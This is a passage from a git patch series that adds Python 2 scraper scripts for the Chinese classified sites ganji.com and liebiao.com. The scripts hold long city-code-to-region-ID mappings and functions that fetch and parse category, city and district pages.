黄山 + 'honghe': 53, # 红河 + 'hechi': 4512, # 河池 + 'hami': 6522, # 哈密 + 'heihe': 2311, # 黑河 + 'hezhou': 4511, # 贺州 + 'haixi': 6328, # 海西 + 'hetian': 6532, # 和田 + 'haibei': 6322, # 海北 + 'haidong': 6321, # 海东 + 'huangnan': 6323, # 黄南 + 'jn': 3701, # 济南 + 'jining': 3708, # 济宁 + 'jilin': 22, # 吉林 + 'jinzhou': 2107, # 锦州 + 'jinhua': 3307, # 金华 + 'jiaxing': 3304, # 嘉兴 + 'jiangmen': 4407, # 江门 + 'jingzhou': 4210, # 荆州 + 'jiaozuo': 4108, # 焦作 + 'jinzhong': 1407, # 晋中 + 'jiamusi': 2308, # 佳木斯 + 'jiujiang': 3604, # 九江 + 'jincheng': 1405, # 晋城 + 'jingmen': 4208, # 荆门 + 'jixi': 2303, # 鸡西 + 'jian': 3608, # 吉安 + 'jieyang': 4452, # 揭阳 + 'jingdezhen': 3602, # 景德镇 + 'jiyuan': 4118, # 济源 + 'jiuquan': 6209, # 酒泉 + 'jinchang': 6203, # 金昌 + 'jiayuguan': 6202, # 嘉峪关 + 'jiaozhou': 3702, # 胶州 + 'jimo': 3702, # 即墨 + 'km': 5301, # 昆明 + 'kaifeng': 4102, # 开封 + 'kashi': 6531, # 喀什 + 'kelamayi': 6502, # 克拉玛依 + 'kuerle': 15, # 库尔勒 + 'kezilesu': 15, # 克孜勒苏 + 'kunshan': 3218, # 昆山 + 'lz': 6201, # 兰州 + 'xz': 5401, # 拉萨 + 'langfang': 1310, # 廊坊 + 'linyi': 3713, # 临沂 + 'luoyang': 4103, # 洛阳 + 'liaocheng': 3715, # 聊城 + 'liuzhou': 4502, # 柳州 + 'lianyungang': 3207, # 连云港 + 'linfen': 1410, # 临汾 + 'luohe': 4111, # 漯河 + 'liaoyang': 2110, # 辽阳 + 'leshan': 5111, # 乐山 + 'luzhou': 5105, # 泸州 + 'luan': 3415, # 六安 + 'loudi': 4313, # 娄底 + 'laiwu': 3712, # 莱芜 + 'longyan': 3508, # 龙岩 + 'lvliang': 1411, # 吕梁 + 'lishui': 3311, # 丽水 + 'liangshan': 5134, # 凉山 + 'lijiang': 5307, # 丽江 + 'liupanshui': 5202, # 六盘水 + 'liaoyuan': 2204, # 辽源 + 'laibin': 4513, # 来宾 + 'lincang': 5309, # 临沧 + 'longnan': 6212, # 陇南 + 'linxia': 6229, # 临夏 + 'linzhi': 5426, # 林芝 + 'mianyang': 5107, # 绵阳 + 'mudanjiang': 2310, # 牡丹江 + 'maoming': 4409, # 茂名 + 'meizhou': 4414, # 梅州 + 'maanshan': 3405, # 马鞍山 + 'meishan': 5114, # 眉山 + 'nj': 3201, # 南京 + 'nb': 3302, # 宁波 + 'nn': 4501, # 南宁 + 'nc': 3601, # 南昌 + 'nantong': 3206, # 南通 + 'nanyang': 4113, # 南阳 + 'nanchong': 5113, # 南充 + 'neijiang': 5110, # 内江 + 'nanping': 3507, # 南平 + 'ningde': 3509, # 宁德 + 'nujiang': 5333, # 怒江 + 'naqu': 5424, # 那曲 + 'pingdingshan': 4104, # 平顶山 + 'puyang': 4109, # 濮阳 + 'panjin': 2111, # 盘锦 + 'putian': 3503, # 莆田 + 'panzhihua': 5104, # 攀枝花 + 'pingxiang': 3603, # 萍乡 + 'pingliang': 6208, # 平凉 + 'puer': 5311, # 普洱 + 'pixian': 510112, # 郫县 + 'qd': 3702, # 青岛 + 'qh': 4604, # 琼海 + 'qinhuangdao': 1303, # 秦皇岛 + 'quanzhou': 3505, # 泉州 + 'qiqihaer': 2302, # 齐齐哈尔 + 'qingyuan': 4418, # 清远 + 'qujing': 5303, # 曲靖 + 'quzhou': 3308, # 衢州 + 'qingyang': 6210, # 庆阳 + 'qitaihe': 2309, # 七台河 + 'qinzhou': 4507, # 钦州 + 'qianjiang': 4230, # 潜江 + 'qiandongnan': 5226, # 黔东南 + 'qiannan': 5227, # 黔南 + 'qianxinan': 5223, # 黔西南 + 'rizhao': 3711, # 日照 + 'rikaze': 5423, # 日喀则 + 'sh': 31, # 上海 + 'sz': 4403, # 深圳 + 'sy': 2101, # 沈阳 + 'sjz': 1301, # 石家庄 + 'su': 3205, # 苏州 + 'shantou': 4405, # 汕头 + 'shangqiu': 4114, # 商丘 + 'sanya': 4602, # 三亚 + 'suqian': 3213, # 宿迁 + 'shaoxing': 3306, # 绍兴 + 'shiyan': 4203, # 十堰 + 'siping': 2203, # 四平 + 'sanmenxia': 4112, # 三门峡 + 'shaoyang': 4305, # 邵阳 + 'shangrao': 3611, # 上饶 + 'suining': 5109, # 遂宁 + 'sanming': 3504, # 三明 + 'suihua': 2312, # 绥化 + 'shihezi': 6544, # 石河子 + 'ahsuzhou': 3413, # 宿州 + 'shaoguan': 4402, # 韶关 + 'songyuan': 2207, # 松原 + 'suizhou': 4213, # 随州 + 'shanwei': 4415, # 汕尾 + 'shuangyashan': 2305, # 双鸭山 + 'shuozhou': 1406, # 朔州 + 'shizuishan': 6402, # 石嘴山 + 'shangluo': 6110, # 商洛 + 'shennongjia': 4232, # 神农架 + 'shannan': 5422, # 山南 + 'shuangliu': 5101, # 双流 + 'tj': 12, # 天津 + 'ty': 1401, # 太原 + 'tangshan': 1302, # 唐山 + 'taian': 3709, # 泰安 + 'zjtaizhou': 3310, # 台州 + 'jstaizhou': 3212, # 泰州 + 'tieling': 2112, # 铁岭 + 'tongliao': 1505, # 通辽 + 'tonghua': 2205, # 通化 + 'tianshui': 6205, # 天水 + 'tongling': 3407, # 铜陵 + 'tongchuan': 6102, # 铜川 + 'tongren': 5222, # 铜仁 + 'tianmen': 4231, # 天门 + 'tacheng': 6542, # 塔城 + 'tulufan': 6521, # 吐鲁番 + 'tumushuke': 6546, # 图木舒克 + 'wh': 4201, # 武汉 + 'wx': 3202, # 无锡 + 'xj': 6501, # 乌鲁木齐 + 'wei': 3710, # 威海 + 'weifang': 3707, # 潍坊 + 'wenzhou': 3303, # 温州 + 'wuhu': 3402, # 芜湖 + 'weinan': 6105, # 渭南 + 'wuhai': 1503, # 乌海 + 'wuzhou': 4504, # 梧州 + 'wulanchabu': 1509, # 乌兰察布 + 'wuwei': 6206, # 武威 + 'wenshan': 5326, # 文山 + 'wuzhong': 6403, # 吴忠 + 'wujiaqu': 6547, # 五家渠 + 'wuzhishan': 4603, # 五指山 + 'xa': 6101, # 西安 + 'xm': 3502, # 厦门 + 'xn': 6301, # 西宁 + 'xuzhou': 3203, # 徐州 + 'xianyang': 6104, # 咸阳 + 'xingtai': 1305, # 邢台 + 'xiangyang': 4204, # 襄阳 + 'xinxiang': 4107, # 新乡 + 'xiangtan': 4303, # 湘潭 + 'xuchang': 4110, # 许昌 + 'xinyang': 4115, # 信阳 + 'xiaogan': 4209, # 孝感 + 'xinzhou': 1409, # 忻州 + 'xianning': 4212, # 咸宁 + 'xinyu': 3605, # 新余 + 'xuancheng': 3418, # 宣城 + 'xiantao': 4229, # 仙桃 + 'xilinguole': 15, # 锡林郭勒 + 'xiangxi': 4331, # 湘西 + 'xingan': 4503, # 兴安 + 'xishuangbanna': 5328, # 西双版纳 + 'xianggang': 81, # 香港 + 'yc': 6401, # 银川 + 'yichang': 4205, # 宜昌 + 'yantai': 3706, # 烟台 + 'yangzhou': 3210, # 扬州 + 'yancheng': 3209, # 盐城 + 'yingkou': 2108, # 营口 + 'yueyang': 4306, # 岳阳 + 'yuncheng': 1408, # 运城 + 'sxyulin': 6108, # 榆林 + 'yibin': 5115, # 宜宾 + 'yangquan': 1403, # 阳泉 + 'yanan': 6106, # 延安 + 'yiyang': 4309, # 益阳 + 'yongzhou': 4311, # 永州 + 'gxyulin': 4509, # 玉林 + 'jxyichun': 3609, # 宜春 + 'yangjiang': 4417, # 阳江 + 'yanbian': 2224, # 延边 + 'yuxi': 5304, # 玉溪 + 'yili': 6540, # 伊犁 + 'yunfu': 4453, # 云浮 + 'hljyichun': 2307, # 伊春 + 'yaan': 5118, # 雅安 + 'yingtan': 3606, # 鹰潭 + 'yushu': 6327, # 玉树 + 'yiwu': 3313, # 义乌 + 'zz': 4101, # 郑州 + 'zhuhai': 4404, # 珠海 + 'zibo': 3703, # 淄博 + 'zhongshan': 4420, # 中山 + 'zaozhuang': 3704, # 枣庄 + 'zhangjiakou': 1307, # 张家口 + 'zhuzhou': 4302, # 株洲 + 'zhenjiang': 3211, # 镇江 + 'zhoukou': 4116, # 周口 + 'zhanjiang': 4408, # 湛江 + 'zhumadian': 4117, # 驻马店 + 'zhaoqing': 4412, # 肇庆 + 'zigong': 5103, # 自贡 + 'zunyi': 5203, # 遵义 + 'zhangzhou': 3506, # 漳州 + 'zhoushan': 3309, # 舟山 + 'zhangye': 6207, # 张掖 + 'ziyang': 5120, # 资阳 + 'zhangjiajie': 4308, # 张家界 + 'zhaotong': 5306, # 昭通 + 'zhongwei': 6405, # 中卫 +} + + +def get_cate(): + """ + 获取分类 + :return: + """ + s.headers = header_cate + url = 'http://sh.ganji.com/huangye/' + html = s.get(url).text + doc = lxml.html.fromstring(html) + + dl = doc.xpath('//div[@class="s-class"]/dl') + # 形式一 + for item in dl: + # dt + cate_code = item.xpath('./dt/a/@href')[0].strip('/') + cate_name = item.xpath('./dt/a/text()')[0].strip() + print cate_code, cate_name + # dd + dd_list = item.xpath('./dd/a') + for dd in dd_list: + cate_code_small = dd.xpath('./@href')[0].strip('/') + cate_name_small = dd.xpath('./text()')[0].strip('') + print '\t', cate_code_small, cate_name_small + + # 形式二 + print 'cate_map = [' + for item in dl: + # dt + cate_code = item.xpath('./dt/a/@href')[0].strip('/') + cate_name = item.xpath('./dt/a/text()')[0].strip() + print '\t# %s' % cate_name + print '\t{' + print '\t\t\'code\': \'%s\',' % cate_code + print '\t\t\'name\': u\'%s\',' % cate_name + print '\t\t\'small\': [' + # dd + dd_list = item.xpath('./dd/a') + for dd in dd_list: + cate_code_small = dd.xpath('./@href')[0].strip('/') + cate_name_small = dd.xpath('./text()')[0].strip('') + print '\t\t\t{' + print '\t\t\t\t\'code\': \'%s\',' % cate_code_small + print '\t\t\t\t\'name\': u\'%s\',' % cate_name_small + print '\t\t\t\t\'id\': \'%s\',' % cate_map.get(cate_code_small, '') + print '\t\t\t},' + print '\t\t]' + print '\t},' + print ']' + + +def get_area_list(city_code, city_name, province='', district=''): + """ + 获取区域列表 + :param city_code: + :param city_name: + :param province: + :param district: + :return: + """ + url = 'http://%s.ganji.com/banjia/' % city_code + + header_area = { + 'Host': '%s.ganji.com' % city_code, + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' + } + + s.headers = header_area + + html = s.get(url).text + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//dd[@class="posrelative w-area"]/a[contains(@class, "a-area")]') + area_list = [] + for link_item in link_list: + city_code_small = link_item.xpath('./@href')[0].strip().split('/')[-2] + city_name_small = link_item.xpath('./em/text()')[0].strip() + area_list.append((city_code_small, city_name_small)) + + return { + 'city_code': city_code, + 'city_name': city_name, + 'province': province, + 'district': district, + 'area_list': area_list, + } + + +def get_city(): + """ + 获取城市 + :return: + """ + s.headers = header_city + url = 'http://www.ganji.com/index.htm' + html = s.get(url).text + doc = lxml.html.fromstring(html) + dd_list = doc.xpath('//div[@class="all-city"]/dl/dd/a') + for dd in dd_list: + city_code = dd.xpath('./@href')[0].replace('http://', '').replace('.ganji.com/', '') + city_name = dd.xpath('./text()')[0].strip() + print city_code, city_name + + +def output_city_area(): + """ + 输出城市地区到文件 + :return: + """ + with open('city_area_gj.py', 'wb') as f: + + f.write("# encoding: utf-8\n\n") + + f.write('city_map = [\n') + + s.headers = header_city + url = 'http://www.ganji.com/index.htm' + html = s.get(url).text + doc = lxml.html.fromstring(html) + dd_list = doc.xpath('//div[@class="all-city"]/dl/dd/a') + for dd in dd_list: + city_code = dd.xpath('./@href')[0].replace('http://', '').replace('.ganji.com/', '') + city_name = dd.xpath('./text()')[0].strip() + print city_code, city_name + + city_info = get_area_list(city_code, city_name) + city_id = city_map.get(city_code) + f.write('\t# %s\n' % city_name.encode('utf-8')) + f.write('\t{\n') + f.write('\t\t\'code\': \'%s\',\n' % city_code) + f.write('\t\t\'name\': u\'%s\',\n' % city_name.encode('utf-8')) + f.write('\t\t\'id\': %s,\n' % city_id) + f.write('\t\t\'small\': [\n') + for area in city_info['area_list']: + f.write('\t\t\t{\n') + f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) + f.write('\t\t\t\t\'name\': u\'%s\',\n' % area[1].encode('utf-8')) + f.write('\t\t\t\t\'id\': %s\n' % city_id) + f.write('\t\t\t},\n') + f.write('\t\t]\n') + f.write('\t},\n') + f.flush() + f.write(']') + + +class Main(object): + def __init__(self): + pass + + +if __name__ == '__main__': + # get_cate() + # get_city() + output_city_area() From 9760ffb34beeee8a51f7111257e1b2efaaa80d2d Mon Sep 17 00:00:00 2001 From: Zhang He Date: Mon, 7 Aug 2017 23:09:51 +0800 Subject: [PATCH 20/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E5=88=97=E8=A1=A8?= =?UTF-8?q?=E7=BD=91=E5=9F=8E=E5=B8=82=E5=88=86=E7=B1=BB=E6=8A=93=E5=8F=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/liebiao.py | 538 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 538 insertions(+) create mode 100644 fuck/liebiao.py diff --git a/fuck/liebiao.py b/fuck/liebiao.py new file mode 100644 index 0000000..1e4110b --- /dev/null +++ b/fuck/liebiao.py @@ -0,0 +1,538 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: liebiao.py +@time: 2017/8/23 上午10:34 +""" + + +import lxml.html +import requests + + +header_cate = { + 'Host': 'shanghai.liebiao.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +header_city = { + 'Host': 'www.liebiao.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + +s = requests.session() + + +city_map = { + 'anshan': 2103, # 鞍山 + 'anyang': 4105, # 安阳 + 'anshun': 5204, # 安顺 + 'anqing': 3408, # 安庆 + 'ankang': 6109, # 安康 + 'ali': 5425, # 阿里 + 'aletai': 6543, # 阿勒泰 + 'alashan': 1529, # 阿拉善 + 'alaer': 6545, # 阿拉尔 + 'akesu': 6529, # 阿克苏 + 'aba': 5132, # 阿坝 + 'beijing': 11, # 北京 + 'baoding': 1306, # 保定 + 'baotou': 1502, # 包头 + 'binzhou': 3716, # 滨州 + 'baicheng': 2208, # 白城 + 'bengbu': 3403, # 蚌埠 + 'benxi': 2105, # 本溪 + 'bijie': 5224, # 毕节 + 'boertala': 6527, # 博尔塔拉 + 'beihai': 4505, # 北海 + 'bazhong': 5119, # 巴中 + 'bayinguoleng': 6528, # 巴音郭楞 + 'bayannaoer': 1508, # 巴彦淖尔 + 'baoshan': 5305, # 保山 + 'baoji': 6103, # 宝鸡 + 'baiyin': 6204, # 白银 + 'baishan': 2206, # 白山 + 'baise': 4510, # 百色 + 'bozhou': 3416, # 亳州 + 'baisha': 43, # 白沙 + 'baoting': 6325, # 保亭 + 'chongqing': 50, # 重庆 + 'chengdu': 5101, # 成都 + 'changchun': 2201, # 长春 + 'changsha': 4301, # 长沙 + 'changzhou': 3204, # 常州 + 'cangzhou': 1309, # 沧州 + 'changde': 4307, # 常德 + 'chuxiong': 5323, # 楚雄 + 'chongzuo': 4514, # 崇左 + 'changdu': 5421, # 昌都 + 'chaozhou': 4451, # 潮州 + 'chenzhou': 4310, # 郴州 + 'chizhou': 3417, # 池州 + 'chaohu': 3414, # 巢湖 + 'chuzhou': 3411, # 滁州 + 'chaoyang': 2113, # 朝阳 + 'chifeng': 1504, # 赤峰 + 'changzhi': 1404, # 长治 + 'chengde': 1308, # 承德 + 'changji': 6523, # 昌吉 + 'changjiang': 6325, # 昌江 + 'chengmai': 6325, # 澄迈 + 'dalian': 2102, # 大连 + 'daqing': 2306, # 大庆 + 'dongguan': 4419, # 东莞 + 'dongying': 3705, # 东营 + 'dezhou': 3714, # 德州 + 'diqing': 5334, # 迪庆 + 'dehong': 5331, # 德宏 + 'dali': 5329, # 大理 + 'dazhou': 5117, # 达州 + 'deyang': 5106, # 德阳 + 'datong': 1402, # 大同 + 'daxinganling': 2327, # 大兴安岭 + 'dandong': 2106, # 丹东 + 'dingxi': 6211, # 定西 + 'danzhou': 4605, # 儋州 + 'dongfang': 4608, # 东方 + 'dingan': 6325, # 定安 + 'eerduosi': 1506, # 鄂尔多斯 + 'enshi': 4228, # 恩施 + 'ezhou': 4207, # 鄂州 + 'fuzhou': 3501, # 福州 + 'foshan': 4406, # 佛山 + 'fangchenggang': 4506, # 防城港 + 'fushun': 2104, # 抚顺 + 'fuxin': 2109, # 阜新 + 'fuyang': 3412, # 阜阳 + 'fz': 3610, # 抚州 + 'guangzhou': 4401, # 广州 + 'guiyang': 5201, # 贵阳 + 'guilin': 4503, # 桂林 + 'guoluo': 6326, # 果洛 + 'guigang': 4508, # 贵港 + 'gannan': 6230, # 甘南 + 'guangyuan': 5108, # 广元 + 'guangan': 5116, # 广安 + 'ganzi': 5133, # 甘孜 + 'ganzhou': 3607, # 赣州 + 'guyuan': 6404, # 固原 + 'hangzhou': 3301, # 杭州 + 'haerbin': 2301, # 哈尔滨 + 'hefei': 3401, # 合肥 + 'haikou': 4601, # 海口 + 'handan': 1304, # 邯郸 + 'huizhou': 4413, # 惠州 + 'huhehaote': 1501, # 呼和浩特 + 'huzhou': 3305, # 湖州 + 'hengyang': 4304, # 衡阳 + 'huaian': 3208, # 淮安 + 'hengshui': 1311, # 衡水 + 'hezhou': 4511, # 贺州 + 'heyuan': 4416, # 河源 + 'hechi': 4512, # 河池 + 'honghe': 53, # 红河 + 'hanzhong': 6107, # 汉中 + 'haidong': 6321, # 海东 + 'haibei': 6322, # 海北 + 'huangnan': 6323, # 黄南 + 'hami': 6522, # 哈密 + 'haixi': 6328, # 海西 + 'huaihua': 4312, # 怀化 + 'hulunbeier': 1507, # 呼伦贝尔 + 'huludao': 2114, # 葫芦岛 + 'hegang': 2304, # 鹤岗 + 'heihe': 2311, # 黑河 + 'huainan': 3404, # 淮南 + 'huaibei': 3406, # 淮北 + 'huangshan': 3410, # 黄山 + 'heze': 3717, # 菏泽 + 'hebi': 4106, # 鹤壁 + 'huangshi': 4202, # 黄石 + 'huanggang': 4211, # 黄冈 + 'hetian': 6532, # 和田 + 'jinan': 3701, # 济南 + 'jining': 3708, # 济宁 + 'jiaxing': 3304, # 嘉兴 + 'jinhua': 3307, # 金华 + 'jiangmen': 4407, # 江门 + 'jilin': 22, # 吉林 + 'jieyang': 4452, # 揭阳 + 'jinchang': 6203, # 金昌 + 'jingzhou': 4210, # 荆州 + 'jingmen': 4208, # 荆门 + 'jiyuan': 4118, # 济源 + 'jiaozuo': 4108, # 焦作 + 'jiayuguan': 6202, # 嘉峪关 + 'jincheng': 1405, # 晋城 + 'jian': 3608, # 吉安 + 'jiujiang': 3604, # 九江 + 'jingdezhen': 3602, # 景德镇 + 'jiamusi': 2308, # 佳木斯 + 'jixi': 2303, # 鸡西 + 'jinzhou': 2107, # 锦州 + 'jinzhong': 1407, # 晋中 + 'jiuquan': 6209, # 酒泉 + 'kunming': 5301, # 昆明 + 'kaifeng': 4102, # 开封 + 'kashi': 6531, # 喀什 + 'kelamayi': 6502, # 克拉玛依 + 'kezilesu': 65, # 克孜勒苏 + 'lanzhou': 6201, # 兰州 + 'lasa': 5401, # 拉萨 + 'linyi': 3713, # 临沂 + 'luoyang': 4103, # 洛阳 + 'langfang': 1310, # 廊坊 + 'liaocheng': 3715, # 聊城 + 'luzhou': 5105, # 泸州 + 'leshan': 5111, # 乐山 + 'liangshan': 5134, # 凉山 + 'liupanshui': 5202, # 六盘水 + 'lijiang': 5307, # 丽江 + 'lincang': 5309, # 临沧 + 'linzhi': 5426, # 林芝 + 'longnan': 6212, # 陇南 + 'laibin': 4513, # 来宾 + 'liuzhou': 4502, # 柳州 + 'loudi': 4313, # 娄底 + 'linfen': 1410, # 临汾 + 'lvliang': 1411, # 吕梁 + 'liaoyang': 2110, # 辽阳 + 'liaoyuan': 2204, # 辽源 + 'lianyungang': 3207, # 连云港 + 'lishui': 3311, # 丽水 + 'luan': 3415, # 六安 + 'longyan': 3508, # 龙岩 + 'laiwu': 3712, # 莱芜 + 'luohe': 4111, # 漯河 + 'linxia': 6229, # 临夏 + 'ledong': 6325, # 乐东 + 'lingao': 6325, # 临高 + 'lingshui': 6325, # 陵水 + 'maoming': 4409, # 茂名 + 'mianyang': 5107, # 绵阳 + 'maanshan': 3405, # 马鞍山 + 'meishan': 5114, # 眉山 + 'meizhou': 4414, # 梅州 + 'mudanjiang': 2310, # 牡丹江 + 'nanjing': 3201, # 南京 + 'nanning': 4501, # 南宁 + 'ningbo': 3302, # 宁波 + 'nantong': 3206, # 南通 + 'nanyang': 4113, # 南阳 + 'nanchang': 3601, # 南昌 + 'nanping': 3507, # 南平 + 'naqu': 5424, # 那曲 + 'neijiang': 5110, # 内江 + 'nanchong': 5113, # 南充 + 'ningde': 3509, # 宁德 + 'nujiang': 5333, # 怒江 + 'pingdingshan': 4104, # 平顶山 + 'panjin': 2111, # 盘锦 + 'panzhihua': 5104, # 攀枝花 + 'pingliang': 6208, # 平凉 + 'pingxiang': 3603, # 萍乡 + 'puer': 5311, # 普洱 + 'putian': 3503, # 莆田 + 'puyang': 4109, # 濮阳 + 'qingdao': 3702, # 青岛 + 'quanzhou': 3505, # 泉州 + 'qinhuangdao': 1303, # 秦皇岛 + 'qujing': 5303, # 曲靖 + 'qitaihe': 2309, # 七台河 + 'qiqihaer': 2302, # 齐齐哈尔 + 'qionghai': 4604, # 琼海 + 'qinzhou': 4507, # 钦州 + 'qiandongnan': 5226, # 黔东南 + 'qingyuan': 4418, # 清远 + 'qingyang': 6210, # 庆阳 + 'qianxinan': 5223, # 黔西南 + 'qiannan': 5227, # 黔南 + 'qianjiang': 4230, # 潜江 + 'quzhou': 3308, # 衢州 + 'qiongzhong': 6325, # 琼中 + 'rikaze': 5423, # 日喀则 + 'rizhao': 3711, # 日照 + 'shanghai': 31, # 上海 + 'suzhou': 3205, # 苏州 + 'shenyang': 2101, # 沈阳 + 'shijiazhuang': 1301, # 石家庄 + 'shenzhen': 4403, # 深圳 + 'shaoxing': 3306, # 绍兴 + 'shantou': 4405, # 汕头 + 'shangqiu': 4114, # 商丘 + 'suihua': 2312, # 绥化 + 'shaoguan': 4402, # 韶关 + 'siping': 2203, # 四平 + 'shuozhou': 1406, # 朔州 + 'shanwei': 4415, # 汕尾 + 'sanya': 4602, # 三亚 + 'suining': 5109, # 遂宁 + 'shannan': 5422, # 山南 + 'shangluo': 6110, # 商洛 + 'shizuishan': 6402, # 石嘴山 + 'shaoyang': 4305, # 邵阳 + 'shennongjia': 4232, # 神农架 + 'suqian': 3213, # 宿迁 + 'shuangyashan': 2305, # 双鸭山 + 'suzh': 3413, # 宿州 + 'sanming': 3504, # 三明 + 'shangrao': 3611, # 上饶 + 'sanmenxia': 4112, # 三门峡 + 'songyuan': 2207, # 松原 + 'shiyan': 4203, # 十堰 + 'suizhou': 4213, # 随州 + 'shihezi': 6544, # 石河子 + 'sansha': 6325, # 三沙 + 'tianjin': 12, # 天津 + 'taiyuan': 1401, # 太原 + 'tangshan': 1302, # 唐山 + 'taizhou': 3310, # 台州 + 'taian': 3709, # 泰安 + 'taizh': 3212, # 泰州 + 'tongling': 3407, # 铜陵 + 'tongren': 5222, # 铜仁 + 'tulufan': 6521, # 吐鲁番 + 'tacheng': 6542, # 塔城 + 'tongliao': 1505, # 通辽 + 'tonghua': 2205, # 通化 + 'tongchuan': 6102, # 铜川 + 'tieling': 2112, # 铁岭 + 'tianshui': 6205, # 天水 + 'tianmen': 4231, # 天门 + 'tumushuke': 6546, # 图木舒克 + 'tunchang': 6325, # 屯昌 + 'wuhan': 4201, # 武汉 + 'wulumuqi': 6501, # 乌鲁木齐 + 'wenzhou': 3303, # 温州 + 'wuxi': 3202, # 无锡 + 'weihai': 3710, # 威海 + 'weifang': 3707, # 潍坊 + 'wulanchabu': 1509, # 乌兰察布 + 'wuwei': 6206, # 武威 + 'wuzhong': 6403, # 吴忠 + 'wujiaqu': 6547, # 五家渠 + 'wuhu': 3402, # 芜湖 + 'wanning': 4607, # 万宁 + 'wuhai': 1503, # 乌海 + 'wenshan': 5326, # 文山 + 'wenchang': 4606, # 文昌 + 'weinan': 6105, # 渭南 + 'wuzhou': 4504, # 梧州 + 'wuzhishan': 4603, # 五指山 + 'xian': 6101, # 西安 + 'xiamen': 3502, # 厦门 + 'xuzhou': 3203, # 徐州 + 'xingtai': 1305, # 邢台 + 'xiangfan': 4206, # 襄樊 + 'xuchang': 4110, # 许昌 + 'xinxiang': 4107, # 新乡 + 'xishuangbanna': 5328, # 西双版纳 + 'xiangxi': 4331, # 湘西 + 'xianyang': 6104, # 咸阳 + 'xiangtan': 4303, # 湘潭 + 'xiantao': 4229, # 仙桃 + 'xianning': 4212, # 咸宁 + 'xiaogan': 4209, # 孝感 + 'xinyang': 4115, # 信阳 + 'xinyu': 3605, # 新余 + 'xuancheng': 3418, # 宣城 + 'xilinguole': 15, # 锡林郭勒 + 'xingan': 15, # 兴安 + 'xinzhou': 1409, # 忻州 + 'xining': 6301, # 西宁 + 'yinchuan': 6401, # 银川 + 'yantai': 3706, # 烟台 + 'yancheng': 3209, # 盐城 + 'yangzhou': 3210, # 扬州 + 'yueyang': 4306, # 岳阳 + 'yichang': 4205, # 宜昌 + 'yangquan': 1403, # 阳泉 + 'yulin': 4509, # 玉林 + 'yibin': 5115, # 宜宾 + 'yaan': 5118, # 雅安 + 'yuxi': 5304, # 玉溪 + 'yanan': 6106, # 延安 + 'yul': 6108, # 榆林 + 'yushu': 6327, # 玉树 + 'yunfu': 4453, # 云浮 + 'yangjiang': 4417, # 阳江 + 'yuncheng': 1408, # 运城 + 'yingkou': 2108, # 营口 + 'yanbian': 2224, # 延边 + 'yichun': 2307, # 伊春 + 'yingtan': 3606, # 鹰潭 + 'yich': 3609, # 宜春 + 'yiyang': 4309, # 益阳 + 'yongzhou': 4311, # 永州 + 'yili': 6540, # 伊犁 + 'yangpu': 6325, # 洋浦 + 'zhengzhou': 4101, # 郑州 + 'zhuhai': 4404, # 珠海 + 'zibo': 3703, # 淄博 + 'zhenjiang': 3211, # 镇江 + 'zhangzhou': 3506, # 漳州 + 'zhongshan': 4420, # 中山 + 'zhanjiang': 4408, # 湛江 + 'zhaoqing': 4412, # 肇庆 + 'zhoukou': 4116, # 周口 + 'zaozhuang': 3704, # 枣庄 + 'zhumadian': 4117, # 驻马店 + 'zunyi': 5203, # 遵义 + 'zhaotong': 5306, # 昭通 + 'zhangjiakou': 1307, # 张家口 + 'zhangye': 6207, # 张掖 + 'ziyang': 5120, # 资阳 + 'zigong': 5103, # 自贡 + 'zhangjiajie': 4308, # 张家界 + 'zhuzhou': 4302, # 株洲 + 'zhoushan': 3309, # 舟山 + 'zhongwei': 6405, # 中卫 +} + + +def get_cate(): + """ + 获取分类 + :return: + """ + s.headers = header_cate + url = 'http://shanghai.liebiao.com/shenghuo/' + html = s.get(url).text + doc = lxml.html.fromstring(html) + + dl = doc.xpath('//div[@class="hover-div"]//tr') + # 形式一 + # for item in dl: + # # dt + # cate_code = item.xpath('./th/a/@href')[0].strip('/') + # cate_name = item.xpath('./th/a/text()')[0].strip() + # print cate_code, cate_name + # # dd + # dd_list = item.xpath('./td/a') + # for dd in dd_list: + # cate_code_small = dd.xpath('./@href')[0].strip('/') + # cate_name_small = dd.xpath('./text()')[0].strip('') + # print '\t', cate_code_small, cate_name_small + + # 形式二 + print 'cate_map = [' + for item in dl: + # dt + cate_code = item.xpath('./th/a/@href')[0].strip('/') + cate_name = item.xpath('./th/a/text()')[0].strip() + print '\t# %s' % cate_name + print '\t{' + print '\t\t\'code\': \'%s\',' % cate_code + print '\t\t\'name\': u\'%s\',' % cate_name + print '\t\t\'small\': [' + # dd + dd_list = item.xpath('./td/a') + for dd in dd_list: + cate_code_small = dd.xpath('./@href')[0].strip('/') + cate_name_small = dd.xpath('./text()')[0].strip('') + print '\t\t\t{' + print '\t\t\t\t\'code\': \'%s\',' % cate_code_small + print '\t\t\t\t\'name\': u\'%s\',' % cate_name_small + # print '\t\t\t\t\'id\': \'%s\',' % cate_map_v4.get(cate_code_small, '') + print '\t\t\t\t\'id\': \'\',' + print '\t\t\t},' + print '\t\t]' + print '\t},' + print ']' + + +def get_city(): + """ + 获取城市 + :return: + """ + s.headers = header_city + url = 'http://www.liebiao.com/' + html = s.get(url).text + doc = lxml.html.fromstring(html) + dd_list = doc.xpath('//div[@class="box w_d"]/dl/dd/a') + for dd in dd_list: + city_code = dd.xpath('./@href')[0].replace('http://', '').replace('.liebiao.com/', '') + city_name = dd.xpath('./text()')[0].strip() + print city_code, city_name + yield city_code, city_name + + +def get_area_list(city_code, city_name, province='', district=''): + """ + 获取区域列表 + :param city_code: + :param city_name: + :param province: + :param district: + :return: + """ + url = 'http://%s.liebiao.com/yuesao/' % city_code + + header_area = { + 'Host': '%s.liebiao.com' % city_code, + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' + } + + s.headers = header_area + + html = 